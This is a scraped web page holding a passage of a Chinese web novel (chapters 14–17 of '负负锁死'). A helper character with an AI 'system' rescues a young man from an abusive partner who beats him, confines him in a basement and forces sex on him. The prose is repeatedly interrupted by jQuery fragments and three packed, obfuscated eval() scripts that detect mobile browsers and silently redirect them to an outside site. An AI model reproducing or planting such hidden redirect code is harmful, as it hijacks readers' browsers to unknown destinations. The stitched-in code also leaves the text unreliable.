$(''.inform'').remove(); $(''#content'').append('' 应该把他彻底扼杀在摇篮里。 可听听人家怎么回答的,一点没生气不说,竟然还道歉上了。“都是我不对,你不要生气……” 是你的错吗就道歉?爹妈生你下来就是为了送你过来当个替罪羔羊?那家伙多大的人还有脸生气?自己没长腿还是没长嘴,自己回去不会吗? 在这里没多待一秒甄信都得吸氧。要是他对象这么对他,他要么医院见,要么法庭见,直接干·死那狗东西。 肖溪这家伙能忍甄信听不下去,直接在旁边开麦,“电话那头是你朋友?你没钱让你朋友把医药费还给我,肋骨骨折检查和治疗费都是我垫的,你总不能让我做好事又丢钱吧……” 他这几句说得又快又急,但又格外清晰,清楚到霍云霆身旁所有人全都听得格外明白。他们实在没忍住笑开了,“霍哥,这就是你家对你分外迷恋的狗皮膏药,这不是随便找个理由就溜走了。肋骨骨折……我多久没听过这么离谱的理由了。” “哈哈哈哈哈哈哈——” 四周笑声连成一片,字字句句全都扎进霍云霆最深处,把他最不堪的回忆翻上来。霍云霆一秒都忍不了,直接吼道,“肖溪,收起你那些可笑的理由,你要是不知道什么是诚实,那你就永远都别回来了!” 嘟——嘟—— 电话那头的忙音无情响起,肖溪愣了两秒,赶紧起身,“我要出院,我真的不能在这继续待下去了。” 你要出院看我干什么?甄信被那祈求的眼神看得头皮发麻,虽然你现在还没正式入院,急诊也是有医生护士盯着的。怎么了,你还得来个生死时速,逃离医院? 妈呀,这从犯他可不干。 甄信毫不犹豫按下紧急呼叫铃,转头就去门口大喊,“护士,医生——这个骨折的想要现在出院——” 这嗓子相当嘹亮。刚刚还在走廊尽头的护士忽然出现在病房里,一把拦下蠢蠢欲动的肖溪,“你干什么!现在就出院,命不要了?”就没见过这么彪的,骨头还晃悠,人就想挪动。 那么能怎么还把自己骨头弄折?护士对付这些家伙没有什么好办法,她直接摇来了主治,和这家伙面对面谈话。他要是一意孤行,非得今天出去,那怎么也得把放弃治疗承诺书给签了。 甄信也在一旁等着,左右夹击,倒是把肖溪堵得严严实实。他一转头,甄信就把他瞪回去,“别拿那狗狗眼看我,你医药费还没给我呢,你该不会是想跑?” 旁边医生更是一个好脸色都没,神情相当严肃地给他念可能出现的各种并发症,反复确认,“你真的要马上出院?”出院可不是你想出就能出的。对,你现在身体状况不行,强行出院,后头真出了问题,这个责任归谁? 他们可不是头一回遇见了,这边要死要活非得出院,回家之后出问题了,转头回来找上医院,千错万错都是医生的错。 14. 负负锁死(3) 他们也不是头一回遇到这类事了。对病人来说就是上下嘴皮子一碰,对他们来说,这是压在身上永远搬不开的一座大山。无论怎样小心都不过分。 可面前这家伙实在是猪油蒙了心,一点都不带犹豫的。 “是的,我确定。”肖溪停顿了一下,深深地望着甄信,忽然起身艰难地给他鞠了个躬,甄信瞬间从凳子上弹起来站在一边。妈呀,这事还怪吓人了,故事主角给他鞠躬,是他要走了,还是当场折寿啊,他实在是受不了这死出,只想要远远避开。 “这位先生,感谢你对我的帮助,我真的非常感激。但是,我现在真的拿不出一点钱回报。我可以先打个欠条吗?相信我,以后我当牛做马都会还的。” 这话怎么听着那么不吉利呢?总感觉这里头得嘎一个。 甄信急忙打断,“我不着急要这个钱,你要是愿意还,写张借条留个联系方式就行。你要真困难,就算了吧。我也不是这种人。但你今天真的不能出院。”这年头年轻人怎么那么轴呢,一点话都听不进去。岂止是不撞南墙不回头,是撞上墙硬生生开个洞。 肖溪只是鞠躬,“不,我一定要出院。” 或许还有千万种更好的办法,可肖溪真的一秒都等不了。他迅速抓过单子,在上头签下名字,瘦弱的身影转身踏入茫茫夜色。 这人是抓来治疗了,任务到底算不算完成? 有一说一,这事是不是得掰扯清楚,可不是他不积极完成任务,他都把人弄到医院,就等着明早上住进病房了,医生处理完,他这样都想跑?他救得了命,但脑残无药可医。 现在新时代贱受都点亮身体素质这玩意儿了是吧,这可是断了两根肋骨,呼吸都会痛,他竟然面色如常,行动自如,就这恢复速度,怎么不去参加铁人三项,为国家创造新纪录呢?这样大家还能称赞你一句祖坟冒青烟,在这里和一个男人纠缠不清。 真的是…… 所有书都读到狗肚子里去吧。想想国家每次花那么多钱培养一个重点大学生,虽然说尊重每个人自由生活的权利,但甄信就是觉得不值。一年才几千学费,那么好的资源,那么多补贴,最后你甘愿回去照顾一个——男人。 啊——呸——照顾男人可不需要上大学,不认字都行。 甄信和医生面面相觑,从双方眼神中都读出了同病相怜,这个世界还是太癫了,根本是他们看不懂的模样。他们这些正常人还是太形单影只了,就应该站起来,紧紧地团结在一起。 肖溪茫然地走在路上,前后都是一片漆黑,只剩下他自己,茕茕孑立,形影相吊。在今天之前,他从来没想过这样的形容词会放在自己身上,现在看来倒是分外贴切,他就是一个彻头彻尾的落水狗,甚至马上还要回去和那所谓主人摇尾乞怜。他怎么就把自己弄成了这副模样。 他或许知道自己到底应该走去哪儿,现在却只是游荡。 忽然,前头灯光大亮,刺眼的车灯照得他睁不开眼,或许是因为他在黑暗里走了太久,已经不习惯这样的光明,光亮对他来说,有点太奢侈了。 在这光里,他甚至升起了一点不切实际的幻想——会是云霆吗?云霆改主意打算来接自己了吗? 马上他又唾弃自己点痴心妄想。肖溪,看看你现在的样子,你怎么配,你就应该自己悄悄在地下待着,怎么到现在还总是异想天开。你应该认清楚自己的位置。 你就是霍家收养的一个无父无母的孤儿,霍家好心愿意给你一口饭吃,你就应该感恩戴德了。你怎么能够希冀自己能够和阮少爷相提并论。阮稷少爷才是云霆少爷心中真正白月光,他们才是天造地设的一对。 你不过是个小偷。在阮稷少爷出国时候,偷了一段短暂幸福而已,现在怎么还痴心妄想。云霆是永不停歇的鸟,只是暂时在你这儿落脚,你竟想要将他锁住。肖溪啊肖溪,是什么蒙住了你的双眼,让你竟然都忘记了自己的位置。 光渐渐熄灭。 黑暗中有个人影逐渐清晰——是刚刚给他垫付医药费的小哥。肖溪赶紧把自己脸上的泪水抹干净,生怕自己给别人添麻烦。“抱歉,我真的暂时没办法把钱还给您,真的是……” “你去哪儿?”甄信有些不耐烦地打断他,“我们中间差了十几分钟你还在这,没钱坐车吗?我送你吧。你总不至于深更半夜在医院门口散步吧。” 肖溪还想说什么却直接被甄信打断,“你反正已经欠我不少了,不如再多欠一点,反正虱子多了不痒。要是你今晚上走回去,走到一半出意外,那我是真的竹篮打水一场空。所以——别废话,直接报地址。” 口袋里的萧岛微微震动,大脑里的它拼命拍着甄信彩虹屁,[甄老板,你是真老板,太牛了,如此的好心,你简直是道德标杆!时代的楷模!] 这话说得他浑身上下鸡皮疙瘩一层一层的。甄信急忙出发,这话要再听下去,他都觉得自己要跳车了,忍不了一点。 望着外头不断退去的街景,肖溪轻咬贝齿,有些艰难地报出霍家地址。他转过头固执地看着窗外,静静地等待来自陌生人的评价。 可是——什么也没有。 好像他刚刚说出的并不是本市最出名的豪宅小区,而是普通的某个路口一般。甄信还真有个问题得问,“小哥,你这地址,我这车可开不进去,得把你放在小区门口了,要不你让你同事出来接你一下?” 同事?这个意外的词立刻让肖溪眼睛亮了起来。而甄信毫无察觉,自顾自往下说,“你们给豪宅工作的不都工资挺高的嘛,我之前听说一个住家保姆,月薪3万起步,每周还有休息,还是轮岗的。要不是我不行,我也想干他一票。” 他好像并不需要肖溪回答什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299559|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自顾自往下说,“生病了就先请假呗。这豪宅工作基本法是不是也得给个病假,钱什么时候都能赚,身体最重要。” 甄信的絮絮叨叨忽然让肖溪安定下来——原来,并不是所有年轻人出入豪宅都会被认为虚荣,认为是某类群体,他们也可以是在豪宅工作的人。 真好啊。 肖溪忽然觉得自己一直低着的头可以稍微抬起来一些。他没有给自己从未蒙面的父母丢脸,他只是爱上了一个人,那个人恰好很有钱,并不是那种攀龙附凤,被所有人唾弃的垃圾。 心上那块沉重的石头好像略微移开一点点了。 车开得好快,快到肖溪好像只是看着窗外发了一会儿呆,车子就已经开到了目的地。看着那熟悉的厚重的大门,刚刚移开的石头又重重地压在心上,让他几乎喘不过气。胸口的疼痛也更加明显。 原来,他还不是一具行尸走肉,这身子竟然还能感觉到疼痛。 肖溪勉强挤出一个微笑,他不想这位好心小哥有任何心理负担,“谢谢你送回来,我真的没事,家里头有医生,我现在就和管家请假,我会照顾好自己的。” 能行吗? 按照剧情来说,这小身板马上又要遭受重创啊。这渣攻发疯可从来不管时间地点的。甄信几乎都要忍不住违反规则了,但他也没办法,只能多一句嘴,“不喜欢的工作就换,实在不行你就给我打工,我大小也是个老板,包吃住还是没问题的。年纪轻轻有啥槛过不去,都是小事。” “嗯!”肖溪重重点头,这一笑,还真有灿烂少年的味道。看得人心里暖暖的,有点喜欢了。 要是配上精心锻炼的肌肉,绝对更哇塞。现在年轻人一个两个都是瘦骨如柴,真的不是他那时候的审美了。多干饭这日子才能过得舒坦不是。 真理只会在武力压制之下诞生。改变别人不如改变自己呐,少年。 肖溪转身朝囚笼走去,走向他或许早已注定的命运。 霍云霆还没睡,他在等着自己家里头跑出去不听话的小麻雀,他等着轻而易举地把他捏在手心里。“肖溪,你长本事了,竟然夜不归宿?” 他质问的声音下意识让肖溪心里一紧,他想要解释,但说出口的声音总是那么虚浮无力,“云霆,你听我解释,真的不是那样的,刚刚我……” “解释什么?解释你找到一个新欢在大门口卿卿我我?肖溪,你就那么饥·渴难耐,连大门口都忍不了?还是说,一个根本满·足不了你?”霍云霆挑起面前这张脸,只觉得更加烦躁,心里的愤怒根本压抑不住,“你好得很,还会给自己找备胎了。” “不是……”肖溪张嘴想要解释…… 啪——重重地一巴掌把他拍倒在地。“嗡——”肖溪脑子连一片空白,连世界都在旋转,剧烈的耳鸣,难·耐的疼痛让他蜷缩在地上动弹不得。 15. 负负锁死(4) 而霍云霆居高临下看着他,就像看一个彻头彻尾的垃圾。“肖溪,你真的是翅膀硬了,不认错的话,那就去地下室住几天,让那里好好醒醒你脑子。饭也别吃了。” 一直隐身的佣人悄无声息地出现,一言不发却动作迅速,直接把肖溪带到了地下室,安置在一张窄窄的小床上。每次他惹了霍云霆不高兴,霍云霆都会把他关在这暗无天日的地方。 美其名曰,好好教他一下规矩。 可是,需要被教导的真的是他吗?每次关进来的时候,为了不让他和外界联系,霍云霆甚至会把肖溪手机收走。 不过,他也没什么朋友,这些都无所谓了。只是,心里还会有些遗憾吧。今天帮助了他的那位小哥,看到他现在这副模样,会不会很失望,会不会觉得自己彻底看错了人。 可有时候坚持真的好累,他也不知道自己在什么时候应该说些什么,只能眼睁睁看着时间把他抛在脑后。无数记忆在脑海里呼啸而过,最后停留在什么上面他也不知道,看着时间一点点流逝着,他却什么都握不住。无能为力的他,脆弱的他。或许就像那些人说的一样,那些事情从一开始就错的。 他却放任自己在错误里沉沦,自食其果也是他应得的。 叮铃铃——刺耳的手机铃声响起,在别墅里回荡着。霍云霆几乎听不到这么刺耳的铃声,在这个别墅里,人人都降低自己的存在感,恨不得让自己和手机一样静音。竟然有人用这种老土铃声不说,还把声音调那么大。 霍云霆冷哼一声,目光比冰锋更加锐利,刺得旁边佣人抖如糠筛,立刻上前想要把这个声音按灭。铃声停止了。佣人停在原地不知道自己到底应该如何是好。 可下一秒,这铃声又响了起来,犹如暗夜幽灵在深夜不断回荡着。 甄信把电话又挂断,然后拨打。萧岛在旁边都觉得自己耳朵有点炸。虽然他并没有耳朵这所谓器官。[老板,你这样反复打电话对方听得到吗?现在年轻人生活标配不都是手机静音吗?] [我打开了,而且把声音调到最大。]感谢从不设防天真肖溪,直接大咧咧地把手机放在他跟前,而且没有锁屏密码。他不趁机干点啥不都是浪费这天时地利嘛。 [这样真的有用吗?]为什么有人会因为手机声音贼大就接听这个电话,他尽可以把这个电话拉黑,或者直接把手机关机了。 所以——他在赌。 赌故事里渣攻们奇怪的脑回路,他们绝对不会按照你脑海里设想的常理出牌,别人越是不会去做的,他越是要去做。俗称——贱皮子。 甄信把电话挂了。这一次没有再打回去。 三次还不接说明对方在观察,如果他不断打过去倒显得自己这边太看重,这个态度不行,很容易被别人拿捏,得转换一下思维,让对方也尝尝等待的滋味。在对方权衡的关键时刻打断,直接让他们真正尝尝什么叫患得患失,主动权一下子掌握在自己手上。 这个过程比拼的就是一个耐心。 但是吧。 [如果对方就是不打回来怎么办?]那他们在这里做的准备不都全白费了吗? [不打回来就不打呗。我这边直接把医院报告这些发到肖溪手机上,我们俩不是加了联系方式吗?就那家伙,能忍住不偷看肖溪手机?] 嘴上说着不屑一顾,实际恨不得把对方一举一动都放到显微镜底下观察。这种渣攻他见多了,基本上离不开这些套路。不然怎么能体现他们明渣暗专一? 这些人全都超在意的。 一分,两分……那头还悄无声息。 难道他们计划失败,得启用planB了?没想到甄信的计划竟然也会失败?没有什么特别的感觉,只是忽然觉得某个神话渐渐落下。从头到尾都无比靠谱的老板形象出现了一点小缺憾。 无伤大雅,但是—— [你这家伙是在心里偷偷吐槽我是吧。] [没有。我怎么会对自己宿主进行吐槽这种不道德的行为呢?肯定是你自己感觉出错了。] [嗯,听着我们小剪刀很听话是不是,好像和我是一条心的。]但其实,它每天都想偷偷一剪刀劈死他吧。他听到了,他们的进度在所有系统里面速度算慢的。估计每天回家都偷偷在家里骂他呢。 叮铃铃——手机响了。 甄信看着上头熟悉的号码,心里默数,五,四,三……等着倒计时结束再慢悠悠接通那电话,要是对面那家伙破口大骂就更好了,绝对是大爆的热点,就是可惜他自己这个号实在是毫无热度,就算是抓住这些人小辫子也无济于事,根本不能让大家看见。 眼看手机震动更加剧烈,甄信往嘴里塞了块糖,发动汽车,这才接通了电话。没等对面说什么,甄信先声夺人,“喂,小哥,有事情我先将清楚,我虽然好心把你送回来,但这车费我们还是要算一算的,你这路太远了,怎么也得给我加五十。还有,你医药费单子我都拍给你了,这些都是我付出去的钱,有问题你找医院去,都得给我一分不能少的。我自己开家店也不容易,都是赚点辛苦钱。” 对面愣了一下,缓缓开口,“你说的医药费是什么?” 哎呦,这不是标准的痛骂渣男环节。甄信可得发挥好。“医药费?你是小哥家人吗?他晚上也不知道碰到哪个人渣了,把他推哪儿了,肋骨都撞断了两根,趴在地上爬都爬不起来,要不是我刚好去便利店买东西看到他,说不准都要躺到明天早上。受伤了也没功夫养,硬是要签了协议从医院跑出来,你是他家里人好说,你帮他把医药费给我呗,也不多,就两千来块,要是住院还能报不少。你劝劝他,年纪轻轻别整天不把自己身体当回事,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299560|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候老了浑身上下骨头痛,有的他苦头吃。” 明明是陌生人的三言两语,却在霍云霆心里掀起惊涛骇浪,这家伙竟然会没钱,每个月他扔给这家伙的副卡从来没有限额。现在竟然让一个陌生人给他卖惨,肖溪啊肖溪,没想到你是这样诡计多端的人。 霍云霆没多说,挂断电话,转手就给甄信打了一万,顺手把甄信拉黑了。 在他看来,他既然付了钱,这个陌生人和肖溪之间的关系就到此为止,他们之间再也不会有任何交集。不过是一些无关紧要的人,没必要在他们生活中留下痕迹。 甄信看了眼自己手机,领了钱之后只剩个鲜艳的叹号,这是一点余地都不打算给自己留。今天之后,他们真的再也不用见了?那么决绝? 该说不说,甄信觉得话不要说太死,免得过会儿还得自己打脸,那多尴尬不是。但有钱,他就美滋滋地收下,无论多少都是自己辛苦所得,凭什么就得高风亮节,分文不取。 萧岛满是忧虑,[你说,肖溪等会儿真的没事吗?会不会我们这样的行为反而把他推入了更加万劫不复的境地?]不会吧,不会吧,总不会它第一次任务就彻底滑铁卢吧,那它绝对会成为所有系统的笑柄。 [你哪里有检测肖溪生命体征的挂件吗?要不用你工资贷款买一个。反正我觉得你这种小玩意儿肯定需要。] [没有。系统不能对遇见的主人公进行任何干预措施。] [这也不行,那也不行,要你这玩意儿有啥用,太废柴了吧。那霍家别墅到底是哪幢你知道吗?不会这个也不知道吧?]简直是要你何用,那么大一玩意儿,还上不了飞机高铁的,简直就是……行走的大垃圾。 甄信摆摆手,打算自力更生。遇事不决先搜索。网上虽然不会直接告诉你霍家别墅到底是哪栋,但是有些会放出照片,或者进行一些描述。你看看,这不是马上来了嘛。【霍家别墅犹如众星拱月般坐落在别墅区正中间,闹中取静,自带天然气韵。】你看看人家多贴心,不但告诉你大概在哪儿,还附上了图片。就这样他还找不着,那直接把自己这对招子抠出来算了。 [走走走,进去,看看我怎么来一个,我不进去,让别人出来。] 这别墅大门肯定是进不去的,但问题是别人非得榜山,就得靠着天然山势,他们小区能把前头路给拦了,还能控制住让别人不上山?这山可不归他们管,最多底下拦个铁丝网。 甄信打着手电筒就往山上走去,看着距离,后头山上和底下别墅可没隔多少距离,换个角度,眼前立马豁然开朗。 霍云霆一步步走进地下室,以往他一向讨厌来到这个地方,阴暗潮湿,只有一个小小的窗户望着狭窄的一角天空。以往他都对这地方不屑一顾,但今天不一样,或许让肖溪看着那个小窗户,会有不一样的体会。 16. 负负锁死(5) 彻底击碎他无畏的妄想,让他知道自己到底是什么东西。 肖溪呆呆地躺在床上一动不动,只有这样的姿势能让他稍微好受一点。比起身体上的疼痛,更让他难以接受的是内心的绝望,他从没想过自己竟然会沦落到如今这地步。 他甚至想要放弃,放弃自己对霍云霆的爱,但只是这个念头一升起,他的心就四分五裂,再也不能克制住一点。这种痛犹如剜心剔骨,他怎么能做到把自己身体的一部分就这样残忍地分离出去呢? 他做不到,懦弱的他什么都做不到,只能躺在原地,悲哀地等待着最终结局到来。 就在这时,熟悉的脚步声渐渐靠近,这点声响儿让肖溪又克制不住升腾起希望,拼命探出脑袋想要看看到底发生了什么。霍云霆出现了,以往他从来不愿来这个他口中垃圾的地下室,是他改变主意了,还是他愿意把爱多分给自己一点点? 别人只是稍微有个可能性,你就控制不住地想要上去摇尾乞怜。肖溪在心里唾弃自己,却忍不住自己心里的愉悦越来越大,他怎么可能不抱有希望,面前的是他用尽了整个青春去深爱的人,他早就成为了自己生命的一部分,割舍不了,放不下。只能在心里一点点酝酿着。 修长的手指掐住他的下巴,眼前的人冷眼看着他,仿佛盯着一具可有可多的摆件。熟悉的薄唇里迸射出让人难堪的言语,“肖溪,你真是下贱。为了挽回我,竟然都把自己弄进医院了。你以为这样我就会可怜你吗?你还真是和以前一样,没有半点长进。” 不是这样的,我不是故意的。 是那时候云霆你的动作太快,我来不及避开,我是不小心才让自己受伤的,并不是你说的这些。不不不,云霆你相信我,不要用这样的眼神看着我。 被掐住的脖子让他呼吸困难,甚至连说话都变成了一种奢侈,他只能用眼神哀求对方,大颗大颗的眼泪往下掉,打湿了对方手指。 霍云霆相当嫌弃地甩了甩,“你真是让人恶心,这样就哭了?肖溪。你那时候求着我施舍你的时候呢?你可不是这样的一个态度。” 他毫不犹豫地把肖溪甩在了床上,“肖溪,你在这个狗窝待得还挺开心的,既然你那么想要吸引我的注意力,那我就满足你,给你一个终身难忘的回忆。” 云霆这是要干什么?肖溪也不知道自己到底怎么了,或许是身体里残留的不甘让他稍微往后躲了躲,这个姿势能让他感觉断了的肋骨稍微好些。 霍云霆一点点解开自己衬衫扣子,才两个就不耐烦了,索性一把扯了下去,又随意扯开了肖溪身上的。这身皮子真是白到晃眼,所谓受伤也只是给他身体增加了一点红痕,不,或者说这些红痕让他更有一种独特的感觉,吸引着,诱惑着人去品尝。“给你看病的医生看到的也是你这副模样吗?他知道你到底是个怎样的人吗?” “不,云霆,不要。我受伤了。”肖溪想要忍住不哭,但眼泪却怎么也止不住,一直往下滑,“至少今天不要,我真的好痛。” “你得好好记住这种痛,以后才不会犯错。”他残忍地撕下肖溪身上最后一层保护——原来那么熟悉的人,此时却凶残地如同魔鬼。一时间肖溪甚至分不清自己到底是身体更痛,还是某个隐秘的角落。原来人痛到一定程度,真的会说不出半个字。 肖溪攥紧的拳头渐渐松开,整个人瘫在原地一动不动。他也唾弃这样的自己,这样无力的,任由人摆弄的自己。为什么不能像别人一样,站起来,大声说出自己的想法。为什么只能这样蜷缩在一角,等待着别人的裁决? 但他又没办法改变,只能被动等待着,等待着下一次出现。 他甚至开始羡慕晚上遇见的这位小哥。虽然他好像没有自己心爱的人,但他好自由,看到陌生人倒下想要帮忙就帮忙,他可以支配属于自己的钱,也可以决定深夜搭他一程。 而他只是——被动等待着下一次被决定的瞬间。 这是真正的爱吗?肖溪试图去看身上动作的那人眼睛——什么也看不见。对,这种时候,他不允许自己用死鱼眼盯着他,会让他感觉不舒服。 胸口好痛。 原来肋骨断掉是那么痛苦的吗?好像他体内自己生产的肾上腺素全都自己坏掉了,而他自己,也终于要坏掉了。 不知道为什么,肖溪甚至有一种解脱的感觉。这样的日子终于到头了,他不用继续等待,不用继续在暗无天日的黑暗里继续坚持。或许,就放任自己静静消散也不错,在该放手的时候痛快放手。 呜~~~~ 巨大的警报响彻整个别墅,那噪音犹如海啸一般冲击每个人的耳膜。突如其来的噪音差点没把霍云霆吓着了,再怎样的人这种时候也没了感觉。没吓出个好歹就不错了,还继续?真把他当牲口了! “干,该死!”霍云霆狠狠砸了好几下墙,但那个噪音,无孔不入,甚至还有越来越响的趋势。“去,把这个噪音找出来!找不出来,你们通通滚回家去!” 别墅里气氛凝滞,灯光大亮,所有人都被派了出去,一寸寸地犁过去,必须要在最短时间内把声音的源头找出来! 甄信在半山腰拿着弹弓正研究接下来往哪儿打,萧岛帮忙看着底下别墅区情况,[快快快,那边亮灯了,是不是那一幢。] [你的眼神真的行吗?连男主的房子都不知道在哪儿的小趴菜。不如再多打几个。] [你打得到吗?这就是一个弹弓,能有多远。] 甄信翻出自己的工具——超强力工业弹弓,特别加宽弹力带,[客服说这弹弓能弹到两百米以外,五十米内能把装满饮料的可乐罐打飞,多少信任它一点。] [这样真的行吗?肖溪不是被关在地下室? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299561|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ] 想想那种暗无天日的地下室肯定相当可怕。肖溪在里头看不到天地,只有无尽的黑暗陪伴着他,声音在底下都是一种奢侈。这是多么悲惨的未来啊,他们就是救世主,在这时候要拯救这小家伙于水火之中。 虽然很煞风景,但甄信还是得提醒他一下,[现在建房子的图纸都得提前备案,怎么可能会突然多个无人知道的地下室出来。他们是觉得自己富豪身份过得不够爽,想要给自己整点牢饭吃吃?] 这片别墅区都是这两年新建的,采用的事地下室统一浇筑的建筑方式,底下都有两层地下室,挑高基本上在6米左右,一侧有巨大的采光井,通风井也是必不可少的。 总不能为了关一个人,连下面两层地下室都不给通风吧——那可就是彻底的魔鬼了。虽然底下信号会差一点,但绝对还是听得到声音的。 一个不行那就多扔两个,量变引起质变。 甄信打开另一个防狼警报器,用胶带贴着上头按钮,弹弓一弹直接飞走。 nice!又一个降落成功! 别墅区的灯光次第亮起,照得这一片灯火通明。远处警车呼啸而至,闪着熟悉的红□□光。哦豁,好像把事情搞大了,警察都上门了。 风紧,扯呼。 甄信口罩一戴,帽子一压,整个人迅速藏进山林里。明明是陌生大山,他却相当熟练地在里头穿梭,根本不用刻意分辨就能找到正确方向,没一会儿就回到自己车上,绕另一条路悄悄离开。 他们撤得迅速,在警察上山之前就离开作案区域,没引起任何人注意。 就是萧岛总觉得奇怪,[老板,你这动作是不是有点太熟练了。]没偷个几年东西练不出这么迅速的撤退方案吧。 [你竟然怀疑我,我为了完成任务如此努力,你竟然把这盆脏水无情地倒在我身上,这个世界到底是容不下我。] 甄信抹抹眼角并不存在的泪水,迅速打了120急救电话,“喂,120吗?那个小区,有个病人肋骨断了两根还不想去医院,需要你们过去一趟,就警车在的那家,对对对,肯定受伤了,人都爬不起来。” 霍云霆从来没有那么恼火过,先是家里忽然出现的异响,还没把那该死的声音关掉,警察竟然都上门查看到底发生什么情况。说他这边噪音太大,邻居报警了。 报警!报什么警,他们都在这住了多少年了,都不知道什么是互相照顾吗? 警察站在门口,扶了扶肩上执法记录仪,“您好,霍先生,我们接到报案,需要进去查看一下,希望您配合。” “你们找。我也不知道为什么有人大晚上往我这扔乱七八糟的东西,你们最好把那个人快点找到。”霍云霆一脸不耐,“所有人都在这了。” 即使这样,警察还在反复确认,“您确定房子里所有人到齐了?” 17. 负负锁死(6) 警察虽然是询问,但眼神却不住地往地下室看去,“请问我们能下去地下室看一看吗?这些都是为了大家的安全。” 霍云霆当然能够严词拒绝,但在别人眼里这不就是此地无银三百两?在外,他可是标准五号公民形象。 但是,在警察进去之前,他得先解决掉一个微不足道的小麻烦——某个出现在不该出现地方的人。他略微给后头人递个眼神,佣人飞速离开,抢先走在地下室前面。 一扇扇门推开,佣人有些不好意思地解释,“我们到底是在这里做些打扫清洁工作的,一楼主要是客厅,所以好几位佣人住在地下室,现在也是大家休息时间,不确定大家都醒了没有。” 门被打开了。 肖溪脑袋一点点转向门口,这里竟然有光,有人进来了?之前霍云霆惩罚他的时候都至少让他一个人反思四十八小时,这次那么快就结束了? 突如其来的改变只会让他有更多不好的感知——云霆是不是有想了别的惩罚他的招数?即使肖溪早就做好了准备,此时也克制不住浑身颤抖。爱是一种本能,恐惧也是。 他们之间真的有爱吗?这份爱又是正确的吗?他不确定。 陌生的声音一点点飘进来,让肖溪更加迷糊了。“他看着状态不太对,怎么回事?难道是你们?” “不是,他是肖溪。也是这里员工,他今天本来是休息的,但是忽然半夜回来看着状态就不太好,我们劝他去医院看看,但小年轻非得说自己没事,睡一觉就好。现在看着明显是严重起来了。”佣人急忙解释,“我们打了120的,现在就把人送医院去。” 这年轻人看着也不大,却只能一个人孤零零地躺在床上硬熬。警察难免也动了恻隐之心,又点了他们几句,“就算是同事也得上点心,大家都健康才好,你说是不是。” “是是是。这次是我们大意了。”佣人连连点头。这态度,外人也挑不出什么错来。外头保镖们总算是基本上把所有警报器都找了出来,电池拆掉,这见鬼玩意儿就不响了。 要是只有一个还能说是意外,家里头这十几个摊着,怎么都不能一句话解释清楚。片警个个都是人精,一下就明白到底发生了什么,“霍先生家里头不太安宁,大概是得回去看看到底和什么人有矛盾。这互相之间关系,各退一步才处得长久。” 要是投掷伤害性物品,他们才能出警干预。扔点防狼警报器骚扰算什么呢,连治安案件都够不着,只能把人带回局子里教育两句。 更何况他们这精装别墅小区把后头山围进来,为了所谓私密性一个监控都没装。有人从后山上发射点东西,他们还真不太好找。更何况,为了这么一个都不能立案的案子耗费大量警力去寻找,在工作角度是不大可能实现的。 所以说,这人与人之间的关系就是难办,很多时候并不能只用法律来管理。那些只遵守法律的人都是道德底线极低的烂人。要是扔这防狼警报器的人满七十,这事就更难办了,他们还得小心老爷子气个好歹出来。 虽说忍字头上一把刀,这该忍,他们还是得忍了。 没多会儿,救护车到了,直接把肖溪拉上车带走。旁边还有些不怀好意的邻居在外头张望,霍云霆心里膈应,但也得在门口解释,“有人和家里头开个玩笑,故意扔了点东西,没事了,打扰大家了。” 他一向很少跟别人服软,这脸上表情怎么看都有点不大对劲,不像是道歉,反而更偏向威胁一点。 都是邻居,大家也不是不清楚到底什么情况,之前总是不把他们家佣人当人,要不是他们给的工资高,老早名声都臭掉了,也就他们还自我感觉良好。 能住在这里头的多少都有点家业,要是因为所谓仗义执言把自己坑进去,那是真的得不偿失。他们也就是笑笑,算接受了霍云霆给出的这个原因,“对对对,开门做生意的肯定会遇到对家,这些都很正常,以后留个心眼就好。” 甄信把车藏进小巷里头,眼看着救护车呼啸而过这才放心真的离开。 [快快快,小刀子,打开看看,我们任务完成了没有。] 【目标人物已接受专业医疗救助,目前情况稳定。】 yes,总算。 他这辛苦当爸爸的,总算挽救了好大儿岌岌可危的生命,简直就是阶段性胜利。有一说一,之前也没人和他说搞个恋爱还有生命危险出来。 不不不,这个说法不准确,是他有失偏颇。部分男性就是极其危险,总是把正常的恋爱关系偏转到其他方向。他们就不能来个普普通通,让人脸红心跳的恋爱吗?上来就是来一通你爱我,他爱他,互相视而不见,真的是让人手脚蜷曲,头皮发麻。 这些家伙就不能好好地互相消化吗?要不是折腾那么严重,也不用他们过来调解了是不是。 甄信忽然有一个相当奇妙的念头,[小破剪,你说,要是我们干脆弄一个崭新世界,把所有恋爱脑都放进去,你觉得会怎样?他们会不会互相消除?] 没必要吧,哥,你是新时代阎王吗? 